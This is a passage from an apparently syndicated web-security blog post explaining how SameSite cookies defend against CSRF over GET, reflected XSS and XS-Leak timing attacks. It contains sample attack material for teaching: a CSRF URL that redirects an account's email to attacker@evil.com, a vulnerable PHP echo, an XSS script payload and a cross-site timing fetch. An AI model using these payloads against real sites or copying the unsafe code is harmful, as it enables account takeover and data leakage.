&lt;p&gt;Imagine the same scenario, but this time &lt;em&gt;appsecmonkey&lt;/em&gt; has blundered even worse than forgetting CSRF tokens. This time whe web application uses HTTP &lt;code&gt;GET&lt;/code&gt; for changing stuff. Namely, the user's email address.&lt;/p&gt;

&lt;p&gt;This means that just getting the target user to &lt;em&gt;browse&lt;/em&gt; to the URL &lt;code&gt;www.appsecmonkey.com/user/update-email?new_email=attacker@evil.com&lt;/code&gt; would be enough to change the email.&lt;/p&gt;

&lt;p&gt;This time &lt;code&gt;SameSite=Lax&lt;/code&gt; won't help. But if the web application sets the cookie in &lt;em&gt;strict&lt;/em&gt; mode, the attack will fail again.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;Set-Cookie&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;SessionID=ABC123; Secure; HttpOnly; SameSite=Strict&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  SameSite vs. Reflected XSS
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.appsecmonkey.com/blog/xss-attack-and-prevention/" rel="noopener noreferrer"&gt;XSS (Cross-Site Scripting)&lt;/a&gt; vulnerabilities arise when untrusted data gets interpreted as code in a web context. They usually result from: &lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Generating HTML unsafely (parameterizing without encoding correctly).&lt;/li&gt;
&lt;li&gt;Allowing users to edit HTML directly (WYSIWYG editors, for example).&lt;/li&gt;
&lt;li&gt;Allowing users to upload HTML/SVG files and serving those back unsafely.&lt;/li&gt;
&lt;li&gt;Using JavaScript unsafely (passing untrusted data into executable functions/properties).&lt;/li&gt;
&lt;li&gt;Using outdated and vulnerable JavaScript frameworks.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;SameSite doesn't prevent all XSS attacks. But it can serve as a pretty good extra layer of security against &lt;em&gt;reflected&lt;/em&gt; XSS, especially in &lt;code&gt;Strict&lt;/code&gt; mode.&lt;/p&gt;

&lt;h3&gt;
  
  
  What are reflected XSS attacks?
&lt;/h3&gt;

&lt;p&gt;XSS vulnerabilities are &lt;em&gt;reflected&lt;/em&gt; if malicious links or websites can exploit them. For example, look at &lt;code&gt;search.php&lt;/code&gt; here.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight php"&gt;&lt;code&gt;&lt;span class="k"&gt;echo&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;p&amp;gt;Search results for: "&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="nv"&gt;$_GET&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'search'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="mf"&gt;.&lt;/span&gt; &lt;span class="s2"&gt;"&amp;lt;/p&amp;gt;"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The URL parameter &lt;code&gt;search&lt;/code&gt; gets reflected as part of the returned document's HTML structure. An attacker could create a link like so, rendering malicious JavaScript on the page when someone opens the link.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;https://www.example.com/?search=&lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The returned HTML looks like this.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight html"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;p&amp;gt;&lt;/span&gt;Search results for: &lt;span class="nt"&gt;&amp;lt;script&amp;gt;&lt;/span&gt;&lt;span class="nf"&gt;alert&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;XSS&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/script&amp;gt;&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  How are XSS vulnerabilities exploited?
&lt;/h3&gt;

&lt;p&gt;An attacker can exploit XSS vulnerabilities by injecting JavaScript code that performs unwanted actions in the logged-in user's session.&lt;/p&gt;

&lt;h3&gt;
  
  
  How does SameSite help?
&lt;/h3&gt;

&lt;p&gt;In the above example, SameSite in &lt;code&gt;Lax&lt;/code&gt; mode wouldn't help because it doesn't protect from navigating to links. If the XSS were in a POST request, then it would help.&lt;/p&gt;

&lt;p&gt;However, SameSite in &lt;code&gt;Strict&lt;/code&gt; mode would have prevented the attack.&lt;/p&gt;

&lt;h2&gt;
  
  
  SameSite vs. XS-Leaks
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.appsecmonkey.com/blog/xs-leaks/" rel="noopener noreferrer"&gt;XS-Leaks&lt;/a&gt; (or Cross-Site Leaks) are a &lt;a href="https://xsleaks.dev/" rel="noopener noreferrer"&gt;set of browser side-channel attacks&lt;/a&gt;. They enable malicious websites to infer data from the users of other web applications.&lt;/p&gt;

&lt;p&gt;For example, browsers make it easy to time cross-domain requests.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight javascript"&gt;&lt;code&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;performance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

&lt;span class="nf"&gt;fetch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;https://example.com&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="na"&gt;mode&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;no-cors&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="na"&gt;credentials&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="dl"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;include&lt;/span&gt;&lt;span class="dl"&gt;'&lt;/span&gt;
&lt;span class="p"&gt;}).&lt;/span&gt;&lt;span class="nf"&gt;then&lt;/span&gt;&lt;span class="p"&gt;(()&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;time&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;performance&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;now&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="nx"&gt;start&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="s2"&gt;The request took %d ms.&lt;/span&gt;&lt;span class="dl"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;time&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;The request took 129 ms.
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Cross-site timing makes it possible for a malicious website to differentiate between responses. Suppose that there is a search API for patients to find their records. If the patient has diabetes and searches for "diabetes", the server returns data.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GET /api/v1/records/search?query=diabetes&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;records"&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[{&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;id"&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;1&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;...&lt;/span&gt;&lt;span class="pi"&gt;}]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;And if the patient doesn't have diabetes, the API returns an empty JSON.&lt;/p&gt;

&lt;p&gt;&lt;code&gt;GET /api/v1/records/search?query=diabetes&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="pi"&gt;{&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;records"&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[]}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Generally, the former request would take a longer time. An attacker could then create a malicious website that clocks requests to the "diabetes" URL and determines whether or not the user has diabetes.&lt;/p&gt;

&lt;p&gt;You can expand the attack and search for a... b... c... d... yes. da.. db... di... yes. This sort of attack is known as &lt;a href="https://xsleaks.dev/docs/attacks/xs-search/" rel="noopener noreferrer"&gt;XS-search&lt;/a&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  How does SameSite help?
&lt;/h3&gt;

&lt;p&gt;In this case, &lt;code&gt;SameSite=Lax&lt;/code&gt; is enough to prevent the attack, because the &lt;code&gt;fetch&lt;/code&gt; requests happen in a &lt;em&gt;third party context&lt;/em&gt;. It also helps prevent other xs-leaks such as &lt;a href="https://xsleaks.dev/docs/attacks/error-events/" rel="noopener noreferrer"&gt;monitoring error events&lt;/a&gt;, &lt;a href="https://xsleaks.dev/docs/attacks/frame-counting/" rel="noopener noreferrer"&gt;frame counting&lt;/a&gt;, &lt;a href="https://xsleaks.dev/docs/attacks/navigations/" rel="noopener noreferrer"&gt;monitoring navigations&lt;/a&gt; and &lt;a href="https://xsleaks.dev/docs/attacks/id-attribute/" rel="noopener noreferrer"&gt;monitoring blur events&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;Using SameSite cookies will significantly improve your application's client-side security, protecting against XSS, CSRF, and XS-Leak attacks.&lt;/p&gt;

&lt;p&gt;The strict mode has drawbacks and might not be the best fit for most applications, but luckily the lax mode covers most attacks.&lt;/p&gt;

&lt;p&gt;The lax mode is becoming the default as I write, so &lt;a href="https://web.dev/samesite-cookie-recipes/" rel="noopener noreferrer"&gt;make sure you are ready for the change&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Get the web security checklist spreadsheet!
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3iqd1ef4a5a0icyvvk65.jpg" alt="Subscribe"&gt;&lt;/a&gt;&lt;br&gt;
 ☝️ &lt;a href="https://eepurl.com/hqAGt5" rel="noopener noreferrer"&gt;Subscribe&lt;/a&gt; to AppSec Monkey's email list, get our best content delivered straight to your inbox, and &lt;b&gt;get our 2021 Web Application Security Checklist Spreadsheet for FREE&lt;/b&gt; as a welcome gift!&lt;/p&gt;

&lt;h2&gt;
  
  
  Don't stop here
&lt;/h2&gt;

&lt;p&gt;If you like this article, check out the other application security guides we have on &lt;a href="https://www.appsecmonkey.com/" rel="noopener noreferrer"&gt;AppSec Monkey&lt;/a&gt; as well.&lt;/p&gt;

&lt;p&gt;Thanks for reading.&lt;/p&gt;

</description>
      <category>security</category>
      <category>webdev</category>
      <category>cybersecurity</category>
      <category>programming</category>
    </item>
  </channel>
</rss>
